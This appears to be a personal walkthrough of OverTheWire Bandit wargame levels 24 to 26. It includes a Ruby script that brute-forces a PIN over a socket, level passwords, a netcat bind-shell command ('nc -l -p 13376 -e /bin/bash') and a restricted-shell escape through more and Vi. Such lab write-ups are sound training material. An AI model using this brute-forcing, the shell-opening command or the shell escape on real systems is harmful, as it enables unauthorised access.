OverTheWire - Bandit.md

OverTheWire - Bandit

By Brendan Weibrecht

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UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

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/tmp/ZimbiX_24-25.rb:

    #!/usr/bin/env ruby

    require 'socket'

    s = TCPSocket.new 'localhost', 30002

    (0..9999).each do |i|
      x = i.to_s.rjust 4, '0'
      msg = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ #{x}"
      puts msg
      s.puts msg
      puts s.gets
    end

The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

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Using the SSH key to log in to bandit26 kicks us out after showing some banner text.

cat /etc/passwd from bandit25 shows the shell is /usr/bin/showtext.

bandit25@melinda:~$ cat /usr/bin/showtext
#!/bin/sh

more ~/text.txt
exit 0

So it uses more.

Making the terminal 4 chars tall pauses in more. Help shows you can execute a command in a subshell. This doesn't seem to wait or output.

!nc -l -p 13376 -e /bin/bash

Using the option to enter Vi, Vi shows you can do commands from there too. It looks like these don't work as they use the shell defined in $SHELL, which is the showtext binary.

Trying to set Vi's shell: :set shell=/bin/bash then running :!/bin/bash... works!

So steps are:

• Set up SSH key (save as bandit26_rsa, chmod 600)
• Make terminal 6 characters tall
• SSH (as bandit26 with key: ssh -i bandit26_rsa bandit26@bandit.labs.overthewire.org)
• Expand the terminal again (once it says "More" at the bottom)
• Press V to enter Vi
• Run :set shell=/bin/bash
• Run :!/bin/bash